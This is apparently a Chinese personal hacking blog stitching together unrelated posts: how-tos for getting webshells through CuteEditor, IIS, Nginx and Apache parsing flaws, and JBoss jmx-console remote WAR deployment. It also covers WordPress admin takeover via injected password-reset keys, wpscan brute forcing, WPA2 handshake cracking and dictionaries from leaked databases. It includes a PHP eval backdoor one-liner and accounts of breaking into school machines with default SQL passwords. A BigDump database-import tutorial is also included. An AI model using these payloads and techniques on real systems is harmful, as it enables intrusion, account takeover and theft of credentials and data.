原理都差不多!

防范方法很简单就不多讲了,

六:CuteEditor编辑器通杀漏洞

CuteEditor编辑器是.NET下最常用的一个编辑器..
十分的强大..也许是因为他太强了 HEHE ..
我们随便找到一个装有此编辑器的网站 点击插入图片 FLASH 影音文件 什么的都可以出来一个对话框.
在这个对话框里可以游览用户所上传的数据还有目录..郁闷的是居然可以新建..移动..修改..
在官网上甚至连删除都弄出来了..呵呵.. 我们这次主要是利用2003服务器的特性来进行利用..
大家都知道在2003的IIS环境下 如果你建一个 XXX.asp 文件夹的话 里面不管放什么其他类型的文件
在IIS里都会通过文件夹名的类型来解析 也就是说你传一个JPG的东西到 XXX.ASP下也会以ASP脚本
来进行解析..我们这里就利用他这一特性…首先我们随便找一个编辑器 然后选择插入图片吧(如图1)..插入其他的
东西都行..只要能新建文件目录..或者可以移动目录..

看这里就有新建文件夹等等一些操作的按钮我们新建一个..如果新建不能用可以试试移动文件夹把以有的文件夹名改成 XXX.asp形

式..

好了.我们新建一个 www.asp 文件夹.

确定..我们的文件夹就建好了..然后点击进入该文件夹 (

然后到了最关键的…我们上传文件..
用插入图片是上传不了的..他会检测是不是正常的图片..
可以试试 插入 FLASH
或者插入 视频 音乐文件..我们这里就插入视频.. 然后直接把 我们要传上去的马后缀改为 .avi形式
然后进入我们刚才新建的那个目录 然后上传 .. 文件就上去了

各大Web服务器解析漏洞总结

各大Web服务器解析漏洞总结
From:90sec

[+]IIS 6.0

 

目录解析:/xx.asp/xx.jpg  xx.jpg可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码 IIS6.0会将 xx.jpg 解析为 asp 文件。后缀解析:/xx.asp;.jpg     /xx.asp:.jpg(此处需抓包修改文件名) IIS6.0都会把此类后缀文件成功解析为 asp 文件。默认解析:/xx.asa    /xx.cer   /xx.cdx IIS6.0默认的可执行文件除了 asp 还包含这三种此处可联系利用目录解析漏洞/xx.asa/xx.jpg 或/xx.cer/xx.jpg 或 xx.asa;.jpg

 

[+]IIS 7.0/IIS 7.5/Nginx <8.03

 

IIS 7.0/IIS 7.5/Nginx<8.03在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾  e.g.  copy xx.jpg/b + yy.txt/a xy.jpg ######################################/b 即二进制[binary]模式/a 即ascii模式 xx.jpg正常图片文件  yy.txt 内容<?PHP fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>意思为写入一个内容为<?php eval($_POST[cmd])?>名称为shell.php的文件######################################找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上/xx.php 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 密码 cmd

 

[+]Nginx <8.03

 

在Fast-CGI关闭的情况下,Nginx<8.03依然存在解析漏洞在一个文件路径(/xx.jpg)后面加上%00.php会将/xx.jpg%00.php解析为 php 文件。

 

[+]Apache

 

后缀解析:test.php.x1.x2.x3  Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析  test.php.x1.x2.x3 则会被解析为php 经验之谈:php|php3|phtml 多可被Apache解析

 

[+]其他一些可利用的

 

在windows环境下,xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。我记得FckPhp2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说的,当初我并不知道),且可以被上传,那可以尝试在.htaccess中写入:<FilesMatch“shell.jpg”>SetHandler application/x-httpd-php </FilesMatch> shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件

 

[+]lighttpd

 

xx.jpg/xx.php  [Addby loser]

 

如何拿wordpress站 汇总

现在wp站点满地都是, 虽然都是个人博客, 但可利用的地方就很多了, 而且最主要的是, 进了wp后台就相当于得到了webshell!!
1) 很多大站的站长都会有个个人博客, 在通过数据库查到其密码后而目标站的密码已更改, 各种组合失败, 这时尝试一下个人博客, 有很大的几率是没有更改密码的.

2) 国内外极大部分的大牛们的博客都是wordpress架设的, 而且搞下大牛们的wp站也是装B的好方法. xD

3) wp站是旁注的入手点!!

4) 1337和exploit-db天天有人爆插件漏洞, 得手几率一直在上升, 而且插件都是开源的, 如果目标站的插件没有漏洞, 你也可以自己针对对方的插件自己挖洞 ;D

5) 因为wp的加密太高端, 我遇到的hash解密全部失败.. 很蛋疼.. 前两天看不记得在哪里看到有人说有wp的0day直接爆明文, 呃, 震惊了一下, 太扯了, 不过还是看了一下wp, 发现wp_users里还有个user_activation_key, 恩, 等下要讲一下这个的利用方法.

6) 因为我不再用wp了 xD 请大家支持国产 sa blog, typecho, emlog, z-blog, pjblog 等等 ^^

——接下来就开始详述拿wp方法了..——

1, 社工得到站长密码, 登陆仪表盘拿shell.

  • 这个方法的关键就在社工的地方, 如果得到了密码剩下就基本没问题了. [这里就不叙述社工的细节了, 太多了..]不过sinapp上的wordpress里主题和插件是不允许在线修改的, 所以还需要其他方式. [不过拿sinapp上的wp站也没什么用, 纯为装X就没有必要了. 或许会是某位大牛写了篇需要验证的文章, 而你需要去读这篇文章. 在从后台直接查看.]
    -后台拿shell太简单, 就不说了.

2, 旁注.. 这可老生常谈了.. 就不详述了..

3, 呃在补充一下第一条, 也不仅仅适用于wp, 有时确认了一个目标站站长的常用密码, 使用失败的情况下, 可以尝试一下ftp,ssh之类的地方, 查一查2级域名, bing一下域名, 惊喜总在不经意间来临.

4, 在就是插件漏洞了, 这个现在虽然不算很多, 但也一直在增长, 而且有一点是你可以针对目标站所使用的插件来研究一下. 当然, 使用人数多的插件基本都被很多人检测过了, 但有许多冷门插件用的人还是很多的.

  • 这里在来个tip吧, 在主页查看源文件, ctrl+f一下plugins, 跟在wp-content后面的, 在他后面的名字[可能是文件夹也可能是文件]就是一个插件, google一下肯定会得到. 而有些插件在首页是不调用的, 或许在comments页里, 或许在文章里等等, 需要自己去探索了.
    -现在在说下插件有漏洞的情况下.
    [tip:有个俄罗斯人写的程序Wordpress P&E可以搜索目标wp站的插件, 并注明是否有漏洞, 不过只有153个插件, 然后1337有个程序可以搜索joomla和wp等站的危险插件, 是php程序, 在sourceforge就有的下, 大家可以去下载一个. 然后就是在1337,exploit-db,goole上搜索该插件是否有漏洞了.]

记得09年时wp爆过一个重置管理口令的漏洞, 现在用法差不多, 也是我刚刚发现, 网上也没找到有讲述关于这个的.

前提:是在有注入点, 密码解不开, 无法output的情况下获取shell的情况下使用的.

这个其实也不算漏洞, 就是结合起来能利用到而已. 因为wp的找回密码系统对管理员账户同样生效, 而发送至邮箱的key在数据库中同样保存下来, 所以就可以直接更改管理员密码 xD

步骤如下:
1) inject出wp-users表里ID为1[或许更改, 随机应变]的user_login或user_email; [未知管理员后台账户的情况下]
2) 在wp-login.php处点击 ‘忘记密码’ [lost password],如果被隐藏或没有可以直接访问wp-login.php?action=lostpassword页面, 输入管理员账户或管理员邮箱, 点击’获取新密码’ .
3) 再次inject出wp-users表里ID为1或目标值的user_activation_key.
4) 访问wp-login.php?action=rp&key=KEY&login=NAME
5) 将KEY替换为注射出的user_activation_key的值, 将NAME替换为管理员账号并访问该页面.
-例:http://blog.adm1n.org/wp-login.php?action=rp&key=ixUrwKCCycGqlGwWQ6vx&login=Adm1n_oRg
6) 输入新密码, 要7位以上哦.

 

简单点就是

1.社工库,进后台,编辑模板拿shell

2.旁注

3.扫插件,然后1337,exploit-db上找插件漏洞。

使用wordpressp&e 来扫插件。俄文,估计看不懂,不过没关系,简单的很。

下载 WordpressPE

QQ20130205215048

4.使用wpscan

http://houwenhui.gotoip2.com/archives/742

1.安装svn

sudo apt-get install subversion
2.通过svn安装wpscan
svn checkout http://wpscan.googlecode.com/svn/trunk/ ./wpscan
3.安装依赖包
cd wpscan

cat README
(根据提示安装,不同平台的安装是不同的。我这里是安装ubuntu的)
sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby

sudo gem install typhoeus xml-simple
提示:sudo: gem: command not found

解决:

sudo apt-get install rubygems

sudo gem install typhoeus xml-simple

示例:

Do ‘non-intrusive’ checks…

ruby ./wpscan.rb –url www.example.com

Do wordlist password brute force on enumerated users using 50 threads…

ruby ./wpscan.rb –url www.example.com –wordlist darkc0de.lst –threads 50

Do wordlist password brute force on the ‘admin’ username only…

ruby ./wpscan.rb –url www.example.com –wordlist darkc0de.lst –username admin

Generate a new ‘most popular’ plugin list, up to 150 pages…

ruby ./wpscan.rb –generate_plugin_list 150

Enumerate instaled plugins…

ruby ./wpscan.rb –url www.example.com –enumerate p
5.使用后台密码暴力破解。



WorkPress使用了一个”author”的参数。这个参数接受一个数字作为值,并且返回这个用户id对应的页面。
例如:http://www.xxxx.com/?author=1
存在的问题是:
1、用户ID是顺序递增的。
2、如果这个ID的用户存在,则会返回包含有这个用户用户名的页面。
这些问题可能导致下面的攻击:
1、可以通过请求检验到这个用户的ID是否存在
2、返回的页面泄漏了和这个用户ID对应的用户名。
攻击者可能会遍历一些ID。这样就可以枚举出系统内所有的用户名。
受影响的版本:
2.6, 3.1, 3.1.1, 3.1.3, 3.2-beta2以及其他的版本也可能受影响。
验证原理就很简单了:
请求http://www.xxxx.com/?author=1(这里1可以替换为其他数字)
然后在返回的页面中过滤用户名的那个地方(注意不同语言版本的差别),

 

这样可以获取到用户名,然后载入脚本进行破解。破解脚本比较多。msf里也有

继续折腾一下openshift

由于在做一个html5的游戏,需要用到node.js,可能自己会写完,但是更大的可能是懒的写了。

先搞一个如何绑定域名的。

openshift要使用自己的rhc client来管理,安装方式可以参考这里:

windows,linux可以进去后重新选择。

RubyInstaller ,Git其实就是安装这2个。

然后打开命令行,shuru :

gem install rhc`
可能没反应,等一会就行了。</pre>
<pre style="color: #333333;">[![QQ20130202003621](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202003621.png)

](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202003621.png)</pre>
<pre>`然后输入rhc setup,继续敲用户名和密码,可以进入管理。
具体的可以参考这里:[http://www.freehao123.com/openshift-redhat/2/
](http://www.freehao123.com/openshift-redhat/2/),我这就不多说了,绑一下域名,先在dnspod里给自己域名添加一个cname,这里解析到proxy.chenxing.org.cn,先弄一个在线代理,虽然github已经可以访问了,但是还是方便点,用处你懂的。
[![QQ20130202002903](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202002903.png)](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202002903.png)

然后再输入   $ rhc alias add test proxy.chenxing.org.cn
绑定成功。

[![QQ20130202002921](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202002921.png)
](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202002921.png)然后找到一个在线代理给挂上。咋咋,顺手改了几个字
百度:glype,就可以找到。可以加入收藏夹哦,速度很快的说。
[http://proxy.chenxing.org.cn](http://proxy.chenxing.org.cn/)

[![QQ20130202022124](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202022124.png)](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202022124.png) [![QQ20130202022155](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202022155.png)](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202022155.png)

忙活好久了,总结点东西

学校的安全还是完全靠请的公司啊。

每台电脑划分一个vlan,cain挂了。

但是俄们是用友的娃,每台电脑上都装u8.这sql的安装。。

然后发现了,

sa/null 老师的机子

sa/123 童鞋的实验室。

童鞋的电脑呢是不会装这个的。

sql的语句呢一定要一句一句写,不能一起写掉

估到了很多额额额额。

JBOSS育软电子政务平台

学校一片的这个,一般是扫mysql弱口令,然后进后台,可是后台不知道怎么拿shell。

通用的方法就是利用JBOSS漏洞进入。

图片1

后台就是这样的可是确实不好拿shell。QQ20130115212113

JBOSS默认配置会有一个后台漏洞,漏洞发生在jboss.deployment命名空间

中的addURL()函数,该函数可以远程下载一个war压缩包并解压

访问http://www.safe3.com.cn:8080/jmx-console/ 后台,如下图

下拉找到如下图所示

点击flavor=URL,type=DeploymentScanner进入

在输入框中写入war压缩文件webshell的url地址,如上图

http://test-mozutaba.rhcloud.com/job.war

点击invoke执行界面获得一个jsp的webshell,如下图,shell拿一堆了。

http://xxx.com/job/index.jsp

 

QQ20130115212736

 

临时漏洞修补办法:给jmx-console加上访问密码

1.在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件 去掉 security-constraint 块的注释,使其起作用

2.编辑WEB-INF/classes/jmx-console-users.properties或server/default/conf/props/jmx-console-users.properties (version >=4.0.2)和 WEB-INF/classes/jmx-console-roles.properties

或server/default/conf/props/jmx-console-roles.properties(version >=4.0.2) 添加用户名密码

3.编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释 ,security-domain值的映射文件为 login-config.xml (该文件定义了登录授权方式)

war文件可以在这里下载。解压rar就是war了。

job

彩虹表的学习

今天抓了个hash,就去网上找了找彩虹表。以前都是看120g,60g,1.5t不敢下。现在发现怎么也要准备一个了,把片片删掉,来放裤裤和这个吧。

#

免费彩虹表破解工具汇总+收费彩虹表下载(种子)+LM和NTLM小科普




 

常见的三种彩虹表工具:

1.ophcrack(http://ophcrack.sourceforge.net/

 
免费彩虹表破解工具汇总+收费彩虹表下载(种子)+LM和NTLM小科普 - Wei - 海上升明月 天涯共此时

我最常用的 界面友好 与众不同 压缩储存 有自己独特的彩虹表结构 还有Live CD……支持的HASH类型:LM,NTLM

扩展名:乱七八糟的……

高级的表要花钱买,免费的表有(推荐只下2和5,要求高的可以下载3和5):

我下了XP free fast (703MB)Vista free (461MB)。空间不怎么够啊。

1.XP free(LM表:包含大小写+数字)380MB(官网免费下载
2.XP free fast(和前一个一样,但是速度更快)703MB(官网免费下载
3.XP special(LM表:大小写+数字+所有符号包括空格)7.5G(种子下载
4.Vista free (NTLM表:包含常用密码)461MB(官网免费下载
5.Vista special(NTLM表:包含6位的全部可打印字符,7位的大小写字母数字,8位的小写和数字)8G(种子下载

2.RainbowCrack(http://project-rainbowcrack.com/

通用的 一般的破解软件如saminside都支持 命令行界面 黑客的最爱 居家旅行杀人放火之必备 支持CUDA

可以自己生成表 不要钱 传说中的120G就来自于此……

支持HASH类型:LM, NTLM, MD5, SHA1, MYSQLSHA1, HALFLMCHALL, NTLMCHALL.

扩展名:rt

120G的种子:点我下载

3.Free Rainbow Tables(http://www.freerainbowtables.com/

比较新的 用的索引和压缩 所以速度更快 体积更小 而且支持分布式破解

支持HASH类型:LM,MD5,NTLM,SHA1,HALFLMCHALL

网上有已经生成好的表可供下载 真是造福于民

扩展名:rti

======================================================================

继续科普:什么是LM和NTLM呢

1.话说在远古时期 DES当道 我们的微软公司在考虑9X系统口令加密的时候就自然地采用了国家标准 DES一次加密8字节 微软公司留一位校检 还剩7字节(这句话有错,先说声抱歉,这篇文章有解释) 也就是LM(Lan Manage)的核心

2.那有的小朋友要问了 万一我的口令是8位怎么办呢 不用怕 微软公司的程序员很“聪明” :先把前7位加密 后一位补6个0 再当7位一起加密不就可以了吗 结果就真的这么做了……

3.这就导致破解LM密码只需7位一分割 然后再逐块破解 这大大减少了破解的难度 因为最后一块往往不够七位 一般瞬间即可出结果 也就是 7位和13位的密码 在黑客眼里 几乎是一样的 因为13位的后6位很快就能破解出来 而且可以根据后6位猜测出前7位的密码 这就是为什么我们破XP和2003密码很快的原因 因为他们都使用了LM加密方式

4.由于LM的种种不安全性 微软在设计NT系列操作系统是时采用的新的口令存储手段 即NTLM技术(New Technology Lan Manage) 采用MD4+RSA存储 立马安全性要高很多 但是为了保证兼容性 直到2003 微软仍然保持着LM的加密方式 也就是在2K 2K3 和XP中 我们的口令同时保存了两份 一份LM 一份NTLM 我们仍然可以通过LM破解2003的口令

5.在Vista和2008中 微软终于下定决心对LM斩草除根 只留下NTLM 破解难度陡增

6.话题回到彩虹表 由于LM最多只有7位 所以它的彩虹表很小 而NTLM用了散列函数 所以理论上口令可以是无限长的 所以NTLM的彩虹表往往很大 120G肯定是不够完成所有可打印字符的 具体多大偶现在不明……

7.今天的科普到此结束,感谢你有耐心看到这里~

明天有机会继续科普彩虹表


就当是日记了

有个妹子居然给我个老师的邮箱,要我破解密码。

不就是要偷卷子嘛。好吧,其实我自己都没搞定。

羞辱啊。耻辱啊。寒假一定要苦练技术。

fedora下内核编译

总结出来的编译过程就是这样:

1 下载解压内核源码,之后解压到自己的目录。

2 折腾一下系统,让它将合适的 module 都加载上。

3

make localmodconfig

make menuconfig

make bzImage

make modules_install

make install

(最新版本的好处可以使用make localmodconfig

make all 进行自动编译,会编译出一个4m左右的内核。)

makeisofs

具体的看附件

Linux内核编译

内核编译

使用BigDump导入2M以上超大MySQL数据库文件

建站的朋友都知道,PhpMyAdmin是最常用的 MySQL 数据库恢复工具,这是一个开源、免费的工具,大多数主机商都会免费提供 。相信很多WordPress站长也用过PhpMyAdmin 来进行网站数据库的备份和恢复,确实很方便,并且有多国语言界面。不过,有一种情况可能你还没碰到,就是当你的数据库体积比较大时,例如 SQL 备份文件大于 2MB,甚至大于 10MB,这个时候如果你通过 PhpMyAdmin 来导入mysql数据库,就会出错,显示如下的提示:

使用BigDump导入2M以上超大MySQL数据库文件

这是因为你的 SQL 文件体积太大,超过了 PhpMyAdmin 的处理能力,这种情况在网络速度比较慢的情况下尤为突出,例如站长在周末晚上8点这个网络拥挤的时段尝试使用 PhpMyAdmin 来恢复大型 MySQL 数据库备份,就容易遇到这种问题。

很显然 phpMyAdmin 只适用于恢复比较小的 SQL 文件备份。对于超大 MySQL 数据库备份的恢复,你必须换一个专用的恢复工具,那就是:BigDump

BigDump 数据库导入工具简介

BigDump 是由德国人 Alexey Ozerov 用 PHP 语言开发的一个工具脚本,它只有一个文件,名为 bigdump.php(你可以改名运行)。这个文件是独立运行的,因此与你的网站核心程序无关,不管是 WordPress,Drupal 还是 Joomla,只要你使用的是 MySQL 数据库,都可以用 BigDump 来恢复超大的 .sql 格式备份文件。

BigDump 工作的原理也很简单:切割分段导入。它在读取 SQL 文件时,每次只读取一小部分,将其导入,然后重新开始一次恢复进程,再读取一小部分…… 周而复始,直到将整个 SQL 文件全部导入。

BigDump 数据库恢复工具用法演示

假设我们已经有了一个 MySQL 数据库的备份文件,名为 gate2.sql,文件大小约 150MB(这么大的文件别指望通过 phpMyAdmin 来恢复了)。数据库字符编码为 utf-8。我们演示一下如何通过 bigdump.php 工具将这个备份文件恢复到在线数据库中去。

1、获取 BigDump 文件并设置

我们下载 BidDump 工具并解 压,得到一个 bigdump.php 文件。毫无疑问,bigdump.php 文件需要设置一些参数,否则它怎么知道要导入的数据库的连接帐号?

用文本编辑器打开 bigdump.php 文件,在大约第 38 行开始,我们设置要导入的 MySQL 数据库连接参数。如下图所示:

使用BigDump导入2M以上超大MySQL数据库文件

一般来说,设置好这几项就可以了。对于某些特殊数据库,还需要在下面第66行左右设置数据库字符编码。bigdump.php 文件中没有预设这个参数,原文是:

1

$db_connection_charset = ‘’;






如果你的数据库是 UTF-8 编码,那么此处就要修改为:

1

$db_connection_charset = ‘utf8’;






注意那个连字符要去掉。如下图所示:

使用BigDump导入2M以上超大MySQL数据库文件

接下来将设置好的 bigdump.php 文件上传到 Joomla 网站上,推荐上传到 /tmp 这个临时目录。

2、上传 MySQL 数据库备份文件

现在需要将数据库备份文件上传到 bigdump.php 所在的 /tmp 目录中。考虑到文件较大,我们通过 FTP 软件 FileZilla 上传 zip 格式的文件,然后借助 Joomla 后台安装的 eXtplorer 资源管理器组件 将其远程解压,在 /tmp 目录中得到 gate2.sql 文件。

3、启动 BigDump 工具

在浏览器地址栏输入 bigdump.php 所在 URL 并回车,运行这个文件。例如本次演示是在本地测试服务器上进行,那么对应的运行网址是:

http://localhost/gate/tmp/bigdump.php

如果你输入的 URL 正确,就应该看到如下画面:

使用BigDump导入2M以上超大MySQL数据库文件

这就表示 BigDump 工具已经成功启动,它在启动时就自动扫描所在目录中的全部文件和子目录。如果找到 SQL 格式或者 gzip/zip 格式文件,就假设这是数据库文件,在这些文件后面,就会显示出相应的操作链接。例如在上图中,它探测到所在目录中有一个 gate2.sql 文件,那么针对该文件就在表格右侧同一行中显示了两条操作链接,分别是“Start Import”(开始导入)和“Delete file” (删除文件)。上图的表格中也显示了 SQL 文件的大小,可以看到这个备份文件接近 150MB。

在上图中,还可以看到一个文件上传功能,点击那个“浏览”按钮,你就可以上传一个 SQL 文件(或其压缩包)来进行导入。但是我们不推荐使用此功能。对于大型文件,FTP 上传是最佳选择。

4、运行 BigDump 导入功能

点击上图中的“Start Import” 链接,就看到如下画面:

使用BigDump导入2M以上超大MySQL数据库文件

上面这个是导入开始一段时间之后所截取的,可以看出 BigDump 正在顺利进行 SQL 文件的导入。表格中不仅显示了文件大小,还显示了已经导入的字节数及总体进度。

经过一段时间后(大约20分钟),这个 150MB 大小的 SQL 文件终于导入结束,看到如下画面:

使用BigDump导入2M以上超大MySQL数据库文件

原来显示进度条的地方,现在显示了一条消息:

“Congratulations: End of file reached, assuming OK”

意思是说:已经到达文件末尾,想必应该成功了。看到这条消息,你就可以完全放心了。BigDump 已经成功地将你的 SQL 备份文件导入到你所指定的 MySQL 数据库里面了。

注意:数据库恢复成功结束后,不要忘记删除 bigdump.php 备份工具和你的 SQL 文件!

使用 BigDump 数据库导入工具的注意事项

1、在开始导入之前,目标数据库必须清空

如果目标数据库里面含有记录,那么 BigDump 就无法导入,会报错停止。因此请在开始运行 bigdump.php 文件之前,将目标数据库清空(最好删除全部内容)。

2、所用的 SQL 文件不能含有 Extended Inserts

或许很多第一次使用 BigDump 的用户都会遭遇这个问题。这是因为 phpMyAdmin 在导出数据库时,已经默认勾选了“使用扩展插入”。

这里的“扩展插入”就是 Extended Inserts,而 BigDump 是不能处理带有 Extended Inserts 的 SQL 文件的。所以,在你制作数据库备份时,必须在 phpMyAdmin 的面板上去掉“扩展插入”的勾选。如下图所示:

使用BigDump导入2M以上超大MySQL数据库文件

3、如何使 Akeeba Backup 与 BigDump 配合工作?

我们前面推荐大家使用 Akeeba Backup 来制作备份文件。那么,可否使用 Akeeba Backup 来制作数据库备份,然后通过 BigDump 导入?当然是可以的。不过,这里面需要一些特殊技巧。我们将在 Akeeba Backup 使用详解 这篇教程中介绍。

4、使用 BigDump 导入仍然发生超时错误

这种问题多见于配置比较低的服务器,或者服务器繁忙时段。那么,你可以尝试修改 bigdump.php 文件中的“Other settings (optional)” 这部分的 $linespersession 参数,将默认值 3000 修改得更小一些。(不过,我认为你还是换一个更好的服务器吧,例如 Hawkhost)。

5、发生 MySQL 服务器超载怎么办?

如果服务器性能较差,在运行 bigdump.php 过程中可能会发生 MySQL 服务器超载(overrun)故障。你可以修改 bigdump.php 文件中的 $delaypersession 参数来解决。该参数让 bigdump.php 文件在结束一个片段的导入之后,休息一段时间(你设定的数值就是暂停的时间,单位:毫秒),然后再开始下一个片段的导入,这样服务器就不会太累了。

6、直接把 .sql 格式文件交给 BigDump

在本次演示中,我们先将 zip 格式的备份包上传到服务器上,然后又将它解压成 .sql 格式的文件,再通过 BigDump 来导入。为什么不直接用 BigDump 来导入压缩格式的备份文件?

没错,BigDump 具有导入压缩格式 SQL 备份文件(zip/gzip)的能力,但是在处理压缩文件时,它需要先在临时目录中将其解压,再读取。请注意:这个解压并不是一次性的,而是每导入一个小 片段,就要将整个压缩包重新解压一次。因此,直接导入压缩格式文件,反而使 bigdump.php 运行变慢。

7、还有更奇怪的问题……

一般来说,运行 bigdump.php 导入一个 SQL 备份文件非常容易。如果你参照上述注意事项及操作过程,仍然不能顺利完成数据库备份文件的导入,那么请到 BigDump 官方网站 阅读更多 FAQ,查找原因。如果还无法解决,可以到 Joomla 中文论坛 发帖讨论。

下载 BigDump(bigdump.php) 大型数据库 SQL 文件分段导入工具 v0.32b 英文版

最后导入状况是这样的。

Cracking WPA/WPA2 with Oclhc-plus

这个网站里面有4个文件:这里下载http://hashcat.net

hashcat-0.41.7z
hashcat-gui-0.5.1.7z
oclHashcat-lite-0.10.7z
oclHashcat-plus-0.09.7z

注意一下,里面hashcat是主项目,hashcat-gui是增加了一个界面,oclhashcat-plus可以破解wpa2,lite自然是精简版啦。

里面只有oclhashcat-plus可以破解wpa/wpa2,下载后,将
hashcat-0.41.7z
oclHashcat-lite-0.10.7z
oclHashcat-plus-0.09.7z

这3个文件解压后放入hashcat-gui-0.5.1里面;

解压后里面也有对应的文件夹,记得去掉版本号。最后是:

hashcat-gui

|——hashcat

|——oclHashcat-lite

|——oclHashcat-plus

然后就可以开始我们的破解了。

http://hashcat.net/cap2hccap/到这个网站把cap包转成hccap,

也可以用aircrack转换:aircrack-ng <out.cap> -J <out.hccap>

然后我们打开hashcat-gui64.exe,(32位的就换hashcat-gui32.exe)

 

选择自己的显卡,我是ati5470,选择amd了。

照图来做,然后点击start就开始破解了。

第一次运行会要求输入大写的YES,然后就可以运行了。

显卡参数不怎么样,输入s可以查看破解状态,p可以暂停,r可以恢复,q可以退出。

可以看到目标是FAST410,速度是2500,和我的ewsa是一样的速度,但是他的好处就是,完全不卡。

cpu只占用25%,干什么都行了。下面是官方说明。

The .cap and .hccap



oclHashcat-plus accepts the WPA/WPA2 hashes in it’s own “hccap” file. Assuming you already captured a 4-way handshake using airodump-ng, Wireshark or tcpdump, the next step will be converting the .cap file to a format oclHashcat-plus will understand. The easiest way is to go to one of these sites for converting:

*
Upload your .cap and get a .hccap file.

The problem with that is that you upload some sensitive data to a strange place. If you dont mind go for it.

Otherwise here is what they do (in this order):

1.
Run it through “wpaclean” utility

2.
Convert it with “aircrack-ng” using the -J option

To convert your .cap files manually in Backtrack.


Download and install the latest Aircrack build here. The list of builds is upside down so the latest can be found at the bottom of the page.

Example working code for wpaclean.
wpaclean <out.cap> <in.cap>

Please note that the wpaclean options are the wrong way round. <out.cap> <in.cap> instead of <in.cap> <out.cap> which may cause some confusion.

Example working code aircrack .cap conversion to .hccap
aircrack-ng <out.cap> -J <out.hccap>

Note the -J is a capitol J not lower case j.

A script is provided here to automate this process.

Preparation



oclHashcat-plus is very flexible, so I’ll cover three most common and basic scenarios:

1.
2.
3.

Dictionary attack



Grab some wordlist, like Rockyou.
Put it into oclhc-plus folder.

Rename your converted capture file “capture.hccap”.
Create a batch file “attack.bat”.

*
Open it with a text editor, and paste the following:

oclHashcat-plus64.exe -m 2500 capture.hccap rockyou.txt
pause

NOTE: If your OS is 32 bit, then replace 64 with 32 in the binary name.

Execute the attack using the batch file, which should be changed to suit your needs.

Brute-Force Attack



Rename your converted capture file “capture.hccap”.
Create a batch file “attack.bat”.

*
Open it with a text editor and paste the following:

oclhashcat-plus64.exe -m 2500 -a3 capture.hccap ?d?d?d?d?d?d?d?d
pause

This will pipe len8 digits only to oclhc-plus, replace the ?d as needed.

Would be wise to first estimate the time it would take to process using a calculator.

TBD: add some example timeframes for common masks / common speed

Rule-based attack



This is a similar to Dictionary attack, but commands look a bit different:
oclHashcat-plus64.exe -m 2500 -r rules/best64.rule capture.hccap rockyou.txt
pause

This will mutate rockyou wordlist with best 64 rules, which come along in oclHashcat-plus distribution.

Change as necessary and remember, the time it will take the attack to finish will increase proportionally with the amount of rules.

What are rules ?



提取握手包

蹭网的朋友经常会有抓到比较大的握手包吧。比如我就抓到一个136m。这里面大量都是无效数据,我们可以将其中认证部分提取出来。使用wireshark就可以了。下面是来自gpuhash上的说明。

 

Q: What do I do if my capture file is greater than 1MB?

A: You’ll need to use Wireshark or something else to export only the handshake to a smaller file. Remember to leave at least one beacon for your target network in there, though, so that the handshake remains associated with the ESSID you’re targeting.

Stripping your handshakes with Wireshark:

  • Open your capture in Wireshark
  • Enter “eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08” as filter expression (without quotes) then press “Apply”
  • Go to File->Save As… menu, enter new file name and select “Displayed” to save filtered packets only
    Command-line stripping capture file with pyrit:

pyrit –r <input file> –o <output file> -e <essid> strip

Command-line stripping capture file with tshark:

tshark -r <input file> -R “eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08” -w <output file>

tshark -r <input file> -R “eapol || wlan_mgt == <bssid>” -w <output file>

tshark -r <input file> -R “eapol || wlan_mgt.tag.interpretation eq <essid>” -w <output file>

 

 

打开wireshark,选择你的握手包,

然后过滤规则输入 eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08

点击Apply,然后保存,界面里选择display。

然后我们将会有一个几kb的握手包。

 

bae如何导入数据库

bae虽然提供了phpmyadmin,可是5m的限制能干什么?

还好后台能够提交一个任务,导入数据库。

首先把数据库上传到一个空间里,http能下载的形式才行。没有的话别急,可以直接使用百度网盘的。

我这是脱裤门的数据,自己转成sql了,传上百度网盘后,点一下分享,然后创建连接。

复制这个连接,然后点击下载就可以得到下载地址了。

之后进入bae的后台,找到云数据库,选择你创建的数据库,然后导入。

之后就不用我说了,等待导入成功吧。

速度很快的感觉,这还没导入完。

脱裤门制作字典

脱裤门就不说什么了,但是好的数据库可不能就这么放着,我们完全可以构建一个社工库,或者用来制作一个比较牛逼的字典了。这里就使用mysql来制作一个字典好了。

首先要有mysql环境,我使用的是apmserv,百度一下就好嘞。一键搭建win下的,进入mysql5.1,bin然后新建一个shell.bat 里面输入cmd,保存后运行就开始了。

连接mysql

mysql -h localhost -u root

选择数据库,不知道可以show databases;看一下

use test;

